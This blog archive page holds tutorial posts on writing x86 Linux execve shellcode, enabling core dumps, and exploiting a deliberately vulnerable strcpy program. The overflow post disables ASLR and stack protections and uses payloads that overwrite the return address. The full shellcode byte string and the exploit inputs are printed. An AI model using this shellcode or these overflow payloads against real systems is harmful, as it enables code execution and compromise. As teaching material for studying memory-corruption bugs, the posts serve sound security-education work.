Showing posts with label gdb. Show all posts
Showing posts with label gdb. Show all posts

Writing Shellcode for x86 Linux System : Part 1



Shellcode is a list of carefully crafted instructions(byte code) that can be executed once the code is injected into a running application. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode.

TestBox : Ubuntu x86 16.04 LTS

So in this post we will write simple shellcode which invoke a shell. Now first we write a program in c to start a shell
 #include<stdio.h>  
 int main() {  
      char *name[2];  
      name[0] = "/bin/sh";  
      name[1] = NULL;  
      execve(name[0], name, NULL);  
 }  

at above code we use execve() system call to start a shell. execve() execute program pointed by its first argument. The syntax of execve() system call is

int execve(const char *filename, char *const argv[], char *const envp[]);

where the first argument "filename" is pointing to the program to be execute and the second argument "argv" is an array of arguments strings passed to the new program, and third argument "envp" is point to the environment variables passed for new program. And the last two arguments "argv" and "envp" both need to be null terminated. For more info about execve() see man page ('man execve'). Now lets compile the above command
 gcc -static -o shell shell.c
'-static' flag is used to add execve() library statically in compiled binary. lets run the program
./shell
$
$ exit
Now start gdb, load the compiled binary and disassemble the main routine
 ajay@box:~/sc$ gdb -q  
 (gdb) file shell  
 Reading symbols from /home/ajay/sc/shell...(no debugging symbols found)...done.  
 (gdb) disas main  
 Dump of assembler code for function main:  
   0x08048ee0 <+0>:       push  %ebp                             [1]   
   0x08048ee1 <+1>:       mov  %esp,%ebp                         [2]  
   0x08048ee3 <+3>:       and  $0xfffffff0,%esp                       
   0x08048ee6 <+6>:       sub  $0x20,%esp                        [3]    
   0x08048ee9 <+9>:       movl  $0x80c3be8,0x18(%esp)            [4]  
   0x08048ef1 <+17>:      movl  $0x0,0x1c(%esp)                  [5]  
   0x08048ef9 <+25>:      mov  0x18(%esp),%eax                   [6]  
   0x08048efd <+29>:      movl  $0x0,0x8(%esp)                   [7]  
   0x08048f05 <+37>:      lea  0x18(%esp),%edx                   [8]  
   0x08048f09 <+41>:      mov  %edx,0x4(%esp)                    [9]  
   0x08048f0d <+45>:      mov  %eax,(%esp)                       [10]  
   0x08048f10 <+48>:      call  0x8053a20 <execve>               [11]  
   0x08048f15 <+53>:      leave   
   0x08048f16 <+54>:      ret    
 End of assembler dump.  
 (gdb)   
Now at line [1] and [2] of above disassembly is prolog of the stack, at line [1] ebp is push on the stack, and at line [2] the current esp is copied into the ebp register.


at line [3] esp is subtracted by 0x20 or 32, now the stack will look like


at line [4] the address 0x80c3be8 is copied to the 0x18(%esp) which is 24 bytes(0x18) above the current position of esp. The address 0x80c3be8 points to the string "/bin/sh"
(gdb) x/s 0x080c3be8
0x80c3be8: "/bin/sh"
now the stack will be


at line [5] a null value is copied to 0x1c(%esp) which is 28 bytes(0x1c) above from current esp


at line [6] the value of block 0x18(%esp) is copied on eax register. Now eax = 0x80c3be8. At line [7] null value is copied to 0x8(%esp), now the stack is


at line [8] the address of block 0x18(%esp) is loaded into the edx register. note 0x18(%esp) contains 0x80c3be8 which is pointer to "/bin/sh" and the instruction 'lea' (Load Effective Address) only copy the address of that block not its value. So edx = address of p{"/bin/sh"}. at line [9] the value of edx is copied on 0x4(%esp)


at line [10] the value of eax register is copied on (%esp)



in line [11] the execve() syscall is called. We know that when a call instruction is performed then the address of next instruction is pushed ono the stack, in this case the address of leave (0x08048f15) is pushed on the stack


and the rest of two instructions are for epilog. After that the program execution flow is controlled by the execve() function. Lets disassemble the execve function
 (gdb) disas execve  
 Dump of assembler code for function execve:  
   0x08053a20 <+0>:       push  %ebx                  [1]  
   0x08053a21 <+1>:       mov  0x10(%esp),%edx        [2]  
   0x08053a25 <+5>:       mov  0xc(%esp),%ecx         [3]  
   0x08053a29 <+9>:       mov  0x8(%esp),%ebx         [4]   
   0x08053a2d <+13>:      mov  $0xb,%eax              [5]  
   0x08053a32 <+18>:      call  *0x80ed5a4            [6]  
   0x08053a38 <+24>:      cmp  $0xfffff000,%eax  
   0x08053a3d <+29>:      ja   0x8053a41 <execve+33>  
   0x08053a3f <+31>:      pop  %ebx  
   0x08053a40 <+32>:      ret    
   0x08053a41 <+33>:      mov  $0xffffffe8,%edx  
   0x08053a47 <+39>:      neg  %eax  
   0x08053a49 <+41>:      mov  %gs:0x0,%ecx  
   0x08053a50 <+48>:      mov  %eax,(%ecx,%edx,1)  
   0x08053a53 <+51>:      or   $0xffffffff,%eax  
   0x08053a56 <+54>:      pop  %ebx  
   0x08053a57 <+55>:      ret    
 End of assembler dump.  
at line [1] value of ebx register is pushed onto the stack


line [2] copy the value of 0x10(%esp) (16 bytes above current esp position) into edx, now EDX = NULL.
Line [3] copy the value of 0xc(%esp) (12 bytes above current esp position) into ecx, now ECX = address of p{"/bin/sh"}
line [4] copy the value of 0x8(%esp) (8 bytes above current esp position) into ebx, now EBX = "/bin/sh"
line [5] put the value 11 in eax which is nothing but the syscall for execve(). EAX = 11
unistd.h file contains the system call numbers
 ajay@box:~/sc$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep execve  
 #define __NR_execve           11  
and at line[6] the program called interrupt. Now in order to get shell we need these things

# System call 11 in EAX
# String [full path of file to execue] in EBX
# Pointer to the string in ECX
# A Null value in EDX

and then call interrupt. Here is the assembly code
1:  .text  
2:    .globl _start  
3:    _start:  
4:      jmp Mycall  
5:    shellcode:  
6:      popl %esi  
7:      xorl %eax, %eax  
8:      movb %al, 0x7(%esi)  
9:      movl %esi, 0x8(%esi)  
10:      movl %eax, 0xc(%esi)  
11:      movb $11, %al  
12:      movl %esi, %ebx  
13:      leal 0x8(%esi), %ecx  
14:      leal 0xc(%esi), %edx  
15:      int $0x80  
16:    
17:    Mycall:  
18:      call shellcode  
19:      shellvar:  
20:        .ascii "/bin/shABBBBCCCC"  
Explanation of the above code :

The program's instructions start at line 4 'jmp Mycall' where execution flow is jump to Mycall lebel, Mycall is defined at line 17. Now in line 18 at 'call shellcode' the code execution again start at line 5, and the next instruction which is define our string and some more space for other values is pushed onto the stack. After that program control goes to line 5.


In line [6] 'popl %esi' pops the saved return address from the stack to ESI register which is nothing but the address of our string. At line [7] 'xorl %eax, %eax' xoring eax with eax, which result to '0' in eax (because it is fast then 'movl 0x0, %eax'). Line [8] copy the value of al register into 0x7(%esi). eax contains Null so it will copy a '0' byte into 0x7(%esi)


line [9] copy the address of esi register into 0x8(%esi) which is nothing but pointer of our string.


line [10] copy doubleword null value into 0xc(%esi)


line [11] copy 11(in bytes) into al register which is the syscall for execve function.
line [12] copy the address of string from esi into ebx. note the ebx only use 7 bytes from 0x0(%esi) because 8th byte is a null value, so it will be terminated.
line [13] loads the effective address of [0x8(%esi)] into ecx which is the pointer to string
line [14] loads the effective address of [0xc(%esi)] into edx which is the null terminater.

Now we have
EAX = 11 [syscall for execve]
EBX = "/bin/sh" (address of string)
ECX = pointer to string
EDX = Null pointer

and at line interrupt is called. So lets compile it and link it.
 ajay@box:~/sc$ as -o shellcode.o shellcode.s   
 ajay@box:~/sc$ ld -o shellcode shellcode.o  
then dump the opcodes using objdump
 ajay@box:~/sc$ objdump -d shellcode  
   
 shellcode:   file format elf32-i386  
   
   
 Disassembly of section .text:  
   
 08048054 <_start>:  
  8048054:     eb 18             jmp  804806e <Mycall>  
   
 08048056 <shellcode>:  
  8048056:     5e                pop  %esi  
  8048057:     31 c0             xor  %eax,%eax  
  8048059:     88 46 07          mov  %al,0x7(%esi)  
  804805c:     89 76 08          mov  %esi,0x8(%esi)  
  804805f:     89 46 0c          mov  %eax,0xc(%esi)  
  8048062:     b0 0b             mov  $0xb,%al  
  8048064:     89 f3             mov  %esi,%ebx  
  8048066:     8d 4e 08          lea  0x8(%esi),%ecx  
  8048069:     8d 56 0c          lea  0xc(%esi),%edx  
  804806c:     cd 80             int  $0x80  
   
 0804806e <Mycall>:  
  804806e:     e8 e3 ff ff ff    call  8048056 <shellcode>  
   
 08048073 <shellvar>:  
  8048073:     2f                das    
  8048074:     62 69 6e          bound %ebp,0x6e(%ecx)  
  8048077:     2f                das    
  8048078:     73 68             jae  80480e2 <shellvar+0x6f>  
  804807a:     41                inc  %ecx  
  804807b:     42                inc  %edx  
  804807c:     42                inc  %edx  
  804807d:     42                inc  %edx  
  804807e:     42                inc  %edx  
  804807f:     43                inc  %ebx  
  8048080:     43                inc  %ebx  
  8048081:     43                inc  %ebx  
  8048082:     43                inc  %ebx  
now write down the opcodes
 "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3"  
 "\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"  
 "\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43"  
Testing the shellcode:

shellrun.c
 char shellcode[] = "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3"  
                    "\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"  
                    "\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43";  
 int main() {  
      int *ret;  
      ret = (int *)&ret + 2;  
      (*ret) = (int)shellcode;  
 }  
now compile the code with '-z execstack' flag which disable the NX(Non Executable) Protection, otherwise our shellcode would not work.
 ajay@box:~/sc$ gcc -o shellrun shellrun.c -z execstack -fno-stack-protector
 ajay@box:~/sc$ ./shellrun   
 $   
 $   
our shellcode is successfully worked.

At the above code(shellcode.c) we simply define our shellcode as char array. In main function's first instruction 'int *ret;' the stack is look like


now to successfully execute our shellcode we need to overwrite the return address with the address of our shellcode. Now the next instruction "ret = (int *)&ret + 2;" take the address of ret variable and ad 2 int(32bit) or 8 byte value to it and point it on the ret pointer itself. Now the ret variable contains the address of return address[libc_start_main], which is exactly the 8 byte above from current location of ret variable in the stack. The stack will look like this


and the last instruction "(*ret) = (int)shellcode;" will store the address of our shellcode in the place of libc return address.


Now the return address will be shellcode's address. In the above shellcode we can also remove last 9 bytes to shorten our shellcode.
 "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3"  
 "\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"  
 "\x68"

Read more »

Enable Core Dump in current working directory for C/C++ programs on Ubuntu 16.x

Check the '/proc/sys/kernel/core_pattern' file

    cat /proc/sys/kernel/core_pattern

if the output of above command is

    |/usr/share/apport/apport %p %s %c %P

then you need to edit the 'core_pattern' file and replace

    |/usr/share/apport/apport %p %s %c %P

with

    core.%e.%p

to do this by below command

sudo su -c 'echo "core.%e.%p" > /proc/sys/kernel/core_pattern'

it will ask you for root password, and its done. At the string 'core.%e.%p' %e means the executable file name and %p denotes the processID. Now to test the core dumping first run below command

ulimit -c unlimited

then compile below code and run it.
test.c
 #include<stdio.h>  
 int main()  
 {  
      char buff[20];  
      int i;  
      for(i=0;i<40;i++) {  
           buff[i] ='\x41';  
      }  
 }  




Read more »

A Simple Demonstration of Buffer Overflow Vulnerability



Introduction : 

"In computer security and programming, a buffer overflow, or buffer overrun, is an anomaly where a program, while writing data to a buffer, overruns the buffer's boundary and overwrites adjacent  memory locations."   -- wikipedia

Buffer Overflow is a condition where the data transferred to a particular buffer, exceeds the storage capacity of the allocated buffer and some of the data "overflows" into another buffer and corrupts that buffer's data. It is a common software coding mistake. Generally a buffer overflow vulnerability can be lead to program crash or it can be also used to execute arbitrary code in the system.

Prerequisites :

i am assuming you are familiar with linux command line, gcc, gdb and basic C programming. Here a diagram of how a process layout in computer memory.


Image Source : http://static.duartes.org/img/blogPosts/linuxClassicAddressSpaceLayout.png

for more detail on Process layout visit link : http://duartes.org/g......rogram-in-memory/

You also need to understand how stack-frame is build when a function is called and destroyed when function returns. for details check out the link : http://www.csee.umbc.edu/~c.....stack.shtml

Some Important Registers :
ESP (Extended Stack Pointer) : Points to the Top of the stack.
EBP (Extended Base Pointer)  : Points to the Bottom or Base of the stack.
EIP  (Instruction Pointer) : It holds the address of the next CPU instruction to be executed.

Demonstration  :

This is our demo code :
1:   // bof.c   
2:   #include <stdio.h>   
3:   int main(int argc, char *argv[]) {   
4:     char buffer[512];   
5:     if(argc &lt; 2) exit(0);   
6:     strcpy(buffer, argv[1]);   
7:     printf("%s\n", buffer);   
8:     return 0;   
9:   }   
In above code the strcpy() function in line 6 is vulnerable to buffer overflow, because it copies the given data into the destination buffer without bound checking. Now compile the above code with following arguments
 gcc -mpreferred-stack-boundary=2 -z execstack -fno-stack-protector -o bof1 bof1.c -ggdb  

the above arguments are disable the modern security schemes, 'mpreferred-stack-boundary=2' sets the stack boundary to 4 byte, '-z execstack' disable the non-executable stack and 'fno-stack-protector' disable stack protection. For this demo i am using a lubuntu 14.04 i386 desktop, so i need to disable ASLR protection. To disable ASLR type following command on terminal
 sudo su  
 echo 0 > /proc/sys/kernel/Randomize_va_space  
and if you want to re-enable it then type
 echo 2 > /proc/sys/kernel/Randomize_va_space  
To check weather it is disable or not, use the following command 
 cat /proc/self/maps  
run the above command at least two times, the output of the above command will be


if ASLR is disabled then the address values for stack will remain same each time.Now lets try to run our compiled binary
 ajay@SecLab2:~$ ./bof hello  
 hello  
the program will gracefully exit. Our code allocates 512 bytes for buffer array. So lets try with 512 bytes of characters
 ajay@SecLab2:~$ ./bof `perl -e 'print "\x41"x512'`  
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
 ajay@SecLab2:~$
 ajay@SecLab2:~$ ulimit -c unlimited
 ajay@SecLab2:~$ ./bof `perl -e 'print "\x41"x520'`
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 Segmentation fault (core dumped)
 ajay@SecLab2:~$ gdb -q -c core
 [New LWP 4697]
 Core was generated by `./bof AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
 Program terminated with signal SIGSEGV, Segmentation fault.
 #0  0x41414141 in ?? ()
 (gdb) bt
 #0  0x41414141 in ?? ()
 #1  0x00000000 in ?? ()
 (gdb) i r eip
 eip            0x41414141 0x41414141
When we increase the size of our input by 8 bytes, the Eip register will overwritten by "\x41414141" which is nothing but 'AAAA'. At above ' ulimit -c unlimited ' command is used to get the core dump. Now lets examine our program bof with gdb. First start gdb and set the breakpoint at strcpy() function
 ajay@SecLab2:~$ gdb -q bof  
 Reading symbols from bof...done.  
 (gdb) list 1  
 1    // bof.c  
 2    #include <stdio.h>
 3    int main(int argc, char *argv[]) {  
 4        char buffer[512];  
 5        if(argc < 2) exit(0);  
 6        strcpy(buffer, argv[1]);  
 7        printf("%s\n", buffer);  
 8        return 0;  
 9    }  
 (gdb) break 6  
 Breakpoint 1 at 0x8048498: file bof.c, line 6.  
 (gdb) run `perl -e 'print "\x41"x512'`  
 Starting program: /home/ajay/bof `perl -e 'print "\x41"x512'`  
   
 Breakpoint 1, main (argc=2, argv=0xbffff034) at bof.c:6  
 6        strcpy(buffer, argv[1]);  
 (gdb) x &buffer  
 0xbfffed98:    0xb7fff000  
 (gdb) x/8xw $esp  
 0xbfffed90:    0x00000001    0xb7fd9858    0xb7fff000    0xb7fe8b9b  
 0xbfffeda0:    0xb7ffe000    0x00001000    0x00000001    0xb7fe8b5c
 (gdb) p/x &buffer
 $6 = 0xbfffed98
 (gdb) x/xw buffer
 0xbfffed98: 0xb7fff000
 (gdb) x/xw $esp+8
 0xbfffed98: 0xb7fff000
 (gdb) 
at this point the buffer array will hold garbage values '0x00020f30'. Lets look at rest of stack frame
 (gdb) x/8xw $esp + 8 + 512
   0xbfffef98: 0x00000000 0xb7e32af3 0x00000002 0xbffff034
   0xbfffefa8: 0xbffff040 0xb7feccca 0x00000002 0xbffff034
 (gdb) x/8xw $ebp
   0xbfffef98: 0x00000000 0xb7e32af3 0x00000002 0xbffff034
   0xbfffefa8: 0xbffff040 0xb7feccca 0x00000002 0xbffff034
 (gdb) disas 0xb7e32af3  
 Dump of assembler code for function __libc_start_main:  
   0xb7e32a00 <+0>:    push  %ebp  
   0xb7e32a01 <+1>:    push  %edi  
   0xb7e32a02 <+2>:    push  %esi  
   0xb7e32a03 <+3>:    push  %ebx  
   0xb7e32a04 <+4>:    call  0xb7f3f7db <__x86.get_pc_thunk.bx>  
   0xb7e32a09 <+9>:    add  $0x1915f7,%ebx  
   ...................................
   0xb7e32bae <+430>:    mov  %edx,0x4(%esp)  
   0xb7e32bb2 <+434>:    lea  -0x4b144(%ebx),%edx  
   0xb7e32bb8 <+440>:    mov  %edx,(%esp)  
   0xb7e32bbb <+443>:    call  *0x1a4(%eax)  
   0xb7e32bc1 <+449>:    jmp  0xb7e32a69 <__libc_start_main+105>  
 End of assembler dump.  
 (gdb) next  
  7        printf("%s\n", buffer);  
 (gdb) x/8xw $esp  
   0xbfffed90:    0xbfffed98    0xbffff20e    0x41414141    0x41414141  
   0xbfffeda0:    0x41414141    0x41414141    0x41414141    0x41414141  
 (gdb) x/8xw $esp+512  
   0xbfffef90:    0x41414141    0x41414141    0x00000000    0xb7e32af3  
   0xbfffefa0:    0x00000002    0xbffff034    0xbffff040    0xb7feccca  
 (gdb) continue  
   Continuing.  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
 [Inferior 1 (process 4672) exited normally]  
 (gdb)   

At this point the current stack is look like this :

 
as we know ebp or base pointer points to the base of the current stack, at ebp+4 there is an address of _libc _start_main function which is nothing but the return address from the current stack. With 520 bytes of input string we are able to overwrite the return address, where last 4 bytes will be land on the return address. lets try it
 (gdb) run `perl -e 'print "\x41"x516 . "\x42"x4'`  
 The program being debugged has been started already.  
 Start it from the beginning? (y or n) y  
 Starting program: /home/ajay/bof `perl -e 'print "\x41"x516 . "\x42"x4'`  
   
 Breakpoint 1, main (argc=2, argv=0xbffff034) at bof.c:6  
 6        strcpy(buffer, argv[1]);  
 (gdb) next  
 7        printf("%s\n", buffer);  
 (gdb) x/8xw $esp+512  
 0xbfffef90:    0x41414141    0x41414141    0x41414141    0x42424242  
 0xbfffefa0:    0x00000000    0xbffff034    0xbffff040    0xb7feccca  
 (gdb) x/8xw $ebp  
 0xbfffef98:    0x41414141    0x42424242    0x00000000    0xbffff034  
 0xbfffefa8:    0xbffff040    0xb7feccca    0x00000002    0xbffff034  
 (gdb) continue  
 Continuing.  
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB  
   
 Program received signal SIGSEGV, Segmentation fault.  
 0x42424242 in ?? ()  
 (gdb) bt  
 #0 0x42424242 in ?? ()  
 #1 0x00000000 in ?? ()  
 (gdb)
Now we are able to control the flow of execution by overwriting the return address with our provided value. Here is the modified version of bof.c to test this scenario
 // bof.c  
 #include <stdio.h>  
 void NeverExecute(void) {  
     printf("This function Should never Execute.\n");  
     exit(0);  
 }  
 int main(int argc, char *argv[]) {  
     char buffer[512];  
     if(argc < 2) exit(0);  
     strcpy(buffer, argv[1]);  
     printf("%s\n", buffer);  
     return 0;  
 }  
At above program NeverExecute() function will be never called by main function. So if we overwrite the return address with the address of NeverExecute() then we are able redirect the execution flow to NeverExecute()
 ajay@SecLab2:~$ gdb -q bof  
 Reading symbols from bof...done.  
 (gdb) disas NeverExecute  
 Dump of assembler code for function NeverExecute:  
   0x0804847d <+0>:    push  %ebp  
   0x0804847e <+1>:    mov  %esp,%ebp  
   0x08048480 <+3>:    sub  $0x4,%esp  
   0x08048483 <+6>:    movl  $0x8048580,(%esp)  
   0x0804848a <+13>:    call  0x8048340 <puts@plt>  
   0x0804848f <+18>:    movl  $0x0,(%esp)  
   0x08048496 <+25>:    call  0x8048360 <exit@plt>  
 End of assembler dump.  
 (gdb)  
the address of NeverExecute() is 0x0804847d, and remember we need to write the address in reverse order, because i386 supports little-endian byte-order.
 ajay@SecLab2:~$ ./bof `perl -e 'print "\x41"x516 . "\x7d\x84\x04\x08"'`  
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}�   
 This function Should never Execute.  
 ajay@SecLab2:~$ echo $?  
 0  
 ajay@SecLab2:~$   
 We have successfully overwrite the return address with address of NeverExecute(). instead of executing default program instruction we can also inject and execute our own code. This is the very basic example of stack buffer overflow. In the next post we will look at how to inject and execute shellcode into the programs buffer.
Read more »